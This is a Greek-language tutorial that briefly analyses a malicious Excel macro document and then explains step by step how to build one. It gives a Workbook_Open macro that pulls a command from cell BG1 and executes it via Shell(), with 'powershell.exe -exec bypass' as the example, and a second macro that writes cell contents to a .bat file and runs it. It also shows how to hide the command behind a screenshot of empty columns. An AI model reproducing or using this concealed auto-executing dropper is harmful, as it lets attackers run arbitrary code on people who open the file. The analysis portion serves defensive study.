Με τη μέθοδο που ακολουθεί, θα κάνουμε μια ανάλυση ενός κακόβουλου εγγράφου που περιέχει μακροεντολή, η οποία είναι ελαφρώς πιο δύσκολη σε σχέση με μια ανάλυση .exe, αλλά όχι και ακατόρθωτη.
ΣΗΜΕΙΩΣΗ: Η απλή εκτέλεση ενός εργαλείου όπως το oledump ή το olevba θα επιστρέψει στο έγγραφο τις μακροεντολές.
Το μόνο που θα δείξει είναι ότι η μακροεντολή εξάγει κώδικα από μια συγκεκριμένη στήλη και την εκτελεί χρησιμοποιώντας Shell (), η οποία φαίνεται παρακάτω ότι είναι ύποπτη:
Και αν πλοηγηθούμε στο BG1 που βρίσκεται εκεί όπου φαίνεται ο κώδικας, δεν βλέπουμε αμέσως τίποτα ύποπτο:
Αλλά αν τοποθετήσετε το ποντίκι σας πάνω από το BG1 (ή απλά κοιτάξτε λίγο πιο κοντά και παρατηρήσετε τις στήλες που δεν ευθυγραμμίζονται), τότε θα δείτε ότι υπάρχει μια εικόνα που επικαλύπτει τον κώδικα:
Προφανώς κάποιος με λίγο περισσότερη υπομονή, θα μπορούσε να τελειοποιήσει το screenshot των κενών στηλών και να το επικαλύψει πάνω από τον κώδικα για να το κάνει λιγότερο αισθητό.
Ένας άλλος τρόπος για να αποκαλύψετε τον κώδικα που εξάγεται από το φύλλο εργασίας του .excel είναι χρησιμοποιώντας το MsgBox :
Δημιουργία του εγγράφου
Τι χρειάζεται:
- Στιγμιότυπο οθόνης ενός συνόλου κενών στηλών για επικάλυψη πάνω από τον κώδικα, για παράδειγμα
- Μακροεντολές που εξάγουν τον κώδικα από το βιβλίο εργασίας και εκτελούν τα δεδομένα:
Private Sub Workbook_Open() Data = Sheet1.Range("BG1") Shell(Data) End Sub
- Data = Sheet1.Range (“BG1”) Απλά κοιτάζει τη σειρά που βρίσκεται στο BG1, εξάγει ό, τι είναι στη σειρά και το τοποθετεί μέσα στη μεταβλητή Δεδομένα
- Κώδικας που θα εξαχθεί και θα εκτελεστεί κατά το άνοιγμα του εγγράφου και ο χρήστης κάνει κλικ στο “Ενεργοποίηση περιεχομένου”
powershell.exe -exec bypass -C echo "Hello world" > C:\Users\Desktop\Conduct\Desktop\test.txt
Αφού εισαγάγετε τον κώδικα σε οποιαδήποτε στήλη θέλετε, απλώς εισαγάγετε την εικόνα των κενών στηλών πάνω από τον κώδικα (Εισαγωγή> Εικονογραφήσεις> Εικόνες)
Στη συνέχεια, εισαγάγετε τις μακροεντολές στο ThisWorkbook και αλλάξτε το τμήμα Range () για να ταιριάζει με τη στήλη σας. Αν εισαγάγατε τα δεδομένα στη στήλη Α και είναι στην 1η σειρά, θα ήταν το εύρος (“A1”)
Σύνταξη πολλαπλών γραμμών σε αρχείο
Η σύνταξη πολλών γραμμών σε ένα αρχείο είναι ένα απλό κομμάτι και απαιτεί μόνο την προσθήκη μερικών γραμμών κώδικα.
Ο κώδικας της μακροεντολής που χρησιμοποιείται είναι εδώ:
Private Sub Workbook_Open()
1. Dim Path As String
2. Dim FileNumber As Integer
3. FileNumber = FreeFile
4. Data = Sheet1.Range(“BG1”)
5. Data2 = Sheet1.Range(“BG2”)
6. Path = “test.bat”
7. Open Path For Output As FileNumber
8. Print #FileNumber, Data
9. Print #FileNumber, Data2
10. Close FileNumber 11. Shell(Path) End Sub
- Οι γραμμές 1-3 είναι στατικές, διατηρήστε τις ως έχουν. Απλώς ορίζουν τις μεταβλητές που χρησιμοποιούνται
- Οι γραμμές 4-6 είναι δυναμικές. Θα πρέπει να αλλάξετε τις συμβολοσειρές στα 4 & 5 ώστε να βρίσκεται εκεί όπου βρίσκεται ο κώδικάς σας σε όρους φύλλου εργασίας excel. Αλλάξτε τη γραμμή 6 στη διαδρομή αρχείου που επιθυμείτε.
- Οι γραμμές 7-9 είναι επίσης δυναμικές, απλώς ανοίγουν το αρχείο και γράφουν στο αρχείο τα δεδομένα που έχουν εξαχθεί. Οι γραμμές 8 & 9 ειδικότερα είναι οι γραμμές που είναι υπεύθυνες για τη σύνταξη των δεδομένων στο αρχείο.
Απλώς εισαγάγετε τον κώδικα που θέλετε να γράψετε σε ένα αρχείο, σημειώστε τη στήλη και τη σειρά στην οποία βρίσκεται και αλλάξτε τη μεταβλητή Data & Data1, για να ταιριάζει με τη στήλη και τη σειρά σας (προσθέστε και περισσότερες μεταβλητές εάν χρειάζεται).
Στη συνέχεια, επικαλύψτε τον κώδικα με το στιγμιότυπο οθόνης των κενών γραμμών και τελειώσατε!